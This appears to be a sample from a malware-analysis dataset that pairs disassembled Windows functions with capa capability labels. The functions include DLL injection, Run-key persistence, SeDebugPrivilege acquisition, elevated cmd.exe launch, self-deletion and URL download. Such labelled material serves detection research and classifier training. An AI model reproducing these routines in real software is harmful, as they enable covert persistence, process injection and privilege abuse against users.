joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401460
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.https:__www.youtube.com_watch_vdQw4w9WgXcQ
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteW_24
sub esp, 0x18
nop
leave
ret

Function at 0x4014ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._SHGetFolderPathW_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Path:__ls_n
call sym._printf
nop
leave
ret

Function at 0x401655
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x54
lea edx, [ebp - 0x44]
mov eax, 0
mov ecx, 0xf
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x34], str.cmd.exe
mov dword [ebp - 0x38], str.runas
mov dword [ebp - 0x28], 5
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sym._ShellExecuteExA_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret

Function at 0x401a6f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x4c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x5c]
mov dword [esp + 0x28], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], str.cmd.exe
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.password
mov dword [esp + 4], str.domain
mov dword [esp], str.username
call sym._CreateProcessWithLogonW_44
sub esp, 0x2c
nop
leave
ret
Function at 0x401bca
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call sym._GetCurrentProcess_0
mov edx, eax
lea eax, [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x28
mov dword [esp], edx
call sym._OpenProcessToken_12
sub esp, 0xc
test eax, eax
jne 0x401c0f
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.OpenProcessToken_error:__u_n
call sym._printf
jmp 0x401ccc
lea eax, [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], 0
call sym._LookupPrivilegeValueA_12
sub esp, 0xc
test eax, eax
jne 0x401c56
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.LookupPrivilegeValue_error:__u_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x401ccc
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 2
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x10
lea edx, [ebp - 0x24]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._AdjustTokenPrivileges_24
sub esp, 0x18
test eax, eax
jne 0x401cbe
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.AdjustTokenPrivileges_error:__u_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
leave
ret

Function at 0x401d13
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x848
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], 0x400
mov dword [ebp - 0xc], str.SOFTWAREMicrosoftWindowsCurrentVersion
mov dword [ebp - 0x10], str.ProgramFilesDir
lea eax, [ebp - 0x14]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sym._RegOpenKeyExW_20
sub esp, 0x14
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x1c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x81c]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegQueryValueExW_24
sub esp, 0x18
lea eax, [ebp - 0x81c]
mov dword [esp + 4], eax
mov dword [esp], str.ProgramFilesDir:__ls_n
call sym._printf
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x401dc1
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40658c
mov dword [esp], 0x80000002
call sym._RegOpenKeyExW_20
sub esp, 0x14
nop
leave
ret
Function at 0x401df8
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 0x20], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x20006
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40658c
mov dword [esp], 0x80000001
call sym._RegCreateKeyExW_36
sub esp, 0x24
nop
leave
ret

Function at 0x401e4f
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], str.ADVAPI32.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401e7e
mov dword [esp], str.Error:_ADVAPI32.dll_could_not_be_loaded
call sym._puts
jmp 0x401f12
mov dword [esp], str.ADVAPI32.dll_loaded_successfully
call sym._puts
mov dword [esp + 4], str.RegSetValueExW
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401eb7
mov dword [esp], str.Error:_RegSetValueExW_could_not_be_found
call sym._puts
jmp 0x401f12
mov dword [esp], str.RegSetValueExW_found_successfully
call sym._puts
mov dword [esp], str.Calling_RegSetValueExW
call sym._puts
mov dword [esp + 0x14], 2
mov dword [esp + 0x10], str.C:WindowsSystem32calc.exe
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40658c
mov dword [esp], 0
call sym._RegSetValueExW_24
sub esp, 0x18
mov dword [esp], str.RegSetValueExW_called_successfully
call sym._puts
nop
leave
ret

Function at 0x401f15
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], str.ADVAPI32.dll
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401f41
mov dword [esp], str.LoadLibrary_failed
call sym._puts
jmp 0x401fb6
mov dword [esp + 4], str.RegDeleteKeyW
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401f7c
mov dword [esp], str.GetProcAddress_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
jmp 0x401fb6
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun_test
mov dword [esp], 0x80000001
mov eax, dword [ebp - 0x10]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401fa8
mov dword [esp], str.RegDeleteKeyW_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
leave
ret
Function at 0x4020c6
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x4021e2
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x402332
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402395
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402457
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4023ca
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402457
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x4023f4
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402457
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40243b
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402457
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x4025b9
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x402d90
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x409044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40903c]
sub esp, 4
test ebx, ebx
je 0x402ddb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x402dd4
test esi, esi
je 0x402dd4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402db0
mov dword [esp], 0x409044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402fc0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403010
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4030e8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40304e
cmp eax, 4
jne 0x403070
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40305e
cmp edx, 4
je 0x40305e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402fc0
Function at 0x4031a8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x416008], 0x8088405
inc edx
mov dword [ebx + 0x416008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x40a04c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x40a1b4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
xor edx, edx
call fcn.00404c38
mov eax, dword [ebp + 8]
movzx eax, word [eax - 2]
mov word [ebp - 0x14], ax
mov eax, dword [ebp + 8]
movzx eax, word [eax - 4]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
movzx eax, word [eax - 6]
mov word [ebp - 0xe], ax
lea eax, [ebp - 4]
mov edx, 0x40a1d0
call fcn.00404c8c
push 0x100
lea eax, [ebp - 0x214]
push eax
mov eax, dword [ebp - 4]
call fcn.00404cc4
push eax
lea eax, [ebp - 0x14]
push eax
push 4
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
call sub.KERNEL32.DLL_GetLocaleInfoW
test eax, eax
je 0x40a193
mov eax, ebx
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00404e20
dec esi
jne 0x40a193
mov eax, dword [0x419bf8]
sub eax, 4
je 0x40a122
sub eax, 0xd
jne 0x40a193
push ebx
mov eax, dword [ebx]
mov edx, 1
call fcn.0040d12c
mov ecx, eax
mov eax, dword [ebx]
mov edx, 1
call fcn.00405268
jmp 0x40a193
cmp dword [0x419bfc], 1
jne 0x40a193
mov eax, dword [ebx]
mov dword [ebp - 0x218], eax
mov esi, dword [ebp - 0x218]
test esi, esi
je 0x40a142
sub esi, 4
mov esi, dword [esi]
mov eax, dword [ebx]
mov edx, esi
call fcn.0040cd24
cmp eax, 4
jne 0x40a193
mov eax, dword [ebx]
mov edx, 3
call fcn.0040d014
mov esi, eax
add esi, esi
lea eax, [ebp - 0x214]
add esi, eax
sub esi, 2
lea eax, [ebp - 0x21c]
mov edx, esi
call fcn.00404de4
mov eax, dword [ebp - 0x21c]
mov edx, 2
call fcn.0040d12c
mov ecx, eax
mov eax, ebx
mov edx, esi
call fcn.00404d74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a1bb
lea eax, [ebp - 0x21c]
call fcn.00404c28
lea eax, [ebp - 4]
call fcn.00404c28
ret
Function at 0x40a1d8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x40a2c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
xor edx, edx
call fcn.00404c38
mov eax, dword [ebp + 8]
movzx eax, word [eax - 2]
mov word [ebp - 0x14], ax
mov eax, dword [ebp + 8]
movzx eax, word [eax - 4]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
movzx eax, word [eax - 6]
mov word [ebp - 0xe], ax
cmp esi, 2
jg 0x40a238
lea eax, [ebp - 4]
mov edx, 0x40a2e4
call fcn.00404c8c
jmp 0x40a245
lea eax, [ebp - 4]
mov edx, 0x40a2f8
call fcn.00404c8c
push 0x100
lea eax, [ebp - 0x214]
push eax
mov eax, dword [ebp - 4]
call fcn.00404cc4
push eax
lea eax, [ebp - 0x14]
push eax
push 4
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
call sub.KERNEL32.DLL_GetLocaleInfoW
test eax, eax
je 0x40a2b3
mov eax, ebx
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.00404e20
dec esi
jne 0x40a2b3
mov eax, dword [ebx]
cmp word [eax], 0x30
jne 0x40a2b3
mov eax, dword [ebx]
mov dword [ebp - 0x218], eax
mov esi, dword [ebp - 0x218]
test esi, esi
je 0x40a2a3
sub esi, 4
mov esi, dword [esi]
push ebx
mov ecx, esi
dec ecx
mov eax, dword [ebx]
mov edx, 2
call fcn.00405268
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a2d0
lea eax, [ebp - 4]
call fcn.00404c28
ret

Function at 0x40d923
Capabilities:
Encode data using xor
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.0040488c
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.KERNEL32.DLL_GetSystemInfo
mov edi, eax
cmp edi, 0x104
jbe 0x40d946
mov eax, edi
add eax, eax
call fcn.00402ec8
mov esi, eax
jmp 0x40d948
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.KERNEL32.DLL_GetSystemInfo
push edi
push esi
call sub.user32.dll_CharNextW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40d981
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40d96b
mov eax, esp
cmp esi, eax
je 0x40d98e
mov eax, esi
call fcn.00402ee4
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40d9c8
cmp bl, 0
je 0x40d9c4
cmp bl, 0x41
jl 0x40d9bf
cmp bl, 0x5a
jg 0x40d9bf
or bl, 0x20
xor al, bl
inc esi
jmp 0x40d9a3
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40d908

Function at 0x413a60
Capabilities:
Create process on windows

Disassembly:
push 0x41be18
call sub.KERNEL32.DLL_WinExec
mov eax, dword [0x41be00]
push eax
call sub.KERNEL32.DLL_SetEvent
ret
Function at 0x413eec
Capabilities:
Get common file path

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 4]
test eax, eax
je 0x413f1a
cmp byte [ebx + 0xc], 0
jne 0x413f02
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryW
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_GetLastError
xor eax, eax
mov dword [ebx + 4], eax
lea eax, [ebx + 0x10]
xor edx, edx
call fcn.00404c38
pop ebx
ret

Function at 0x41471c
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c20
mov eax, dword [ebp - 8]
call fcn.00404c20
xor eax, eax
push ebp
push 0x4147aa
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x414783
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404cc4
push eax
mov eax, dword [ebp - 4]
call fcn.00404cc4
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileW
test eax, eax
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41478f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4147b1
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404c30
ret
Function at 0x403700
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
push edi
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea edi, [eax + 1]
test edi, edi
js 0x40377d
mov esi, dword [ebp + 8]
mov ecx, 1
mov edx, dword [esi]
mov eax, dword [edx - 8]
sub ecx, dword [edx - 4]
sub eax, edi
or ecx, eax
jge 0x403737
push edi
mov ecx, esi
call fcn.004036a0
mov edx, dword [esi]
push edi
push edx
push dword [ebx]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edi, eax
mov ecx, edi
cmp edi, 0xffffffff
jne 0x40375e
mov ecx, dword [esi]
test ecx, ecx
je 0x403762
push dword [ecx - 8]
push ecx
call fcn.00488bdc
add esp, 8
mov ecx, eax
test ecx, ecx
js 0x40377d
mov eax, dword [esi]
cmp ecx, dword [eax - 8]
jg 0x40377d
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [esi]
mov word [eax + ecx*2], dx
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 4
push 0x80070057
call fcn.00403bb0
int3
Function at 0x405dd0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push esi
mov esi, ecx
test edx, edx
jne 0x405de5
lea eax, [edx + 0xd]
pop esi
pop ebp
ret 0xc
mov eax, edx
push edi
lea edi, [eax + 2]
nop dword [eax + eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405df0
sub eax, edi
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push edx
push 1
push 0
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebp
ret 0xc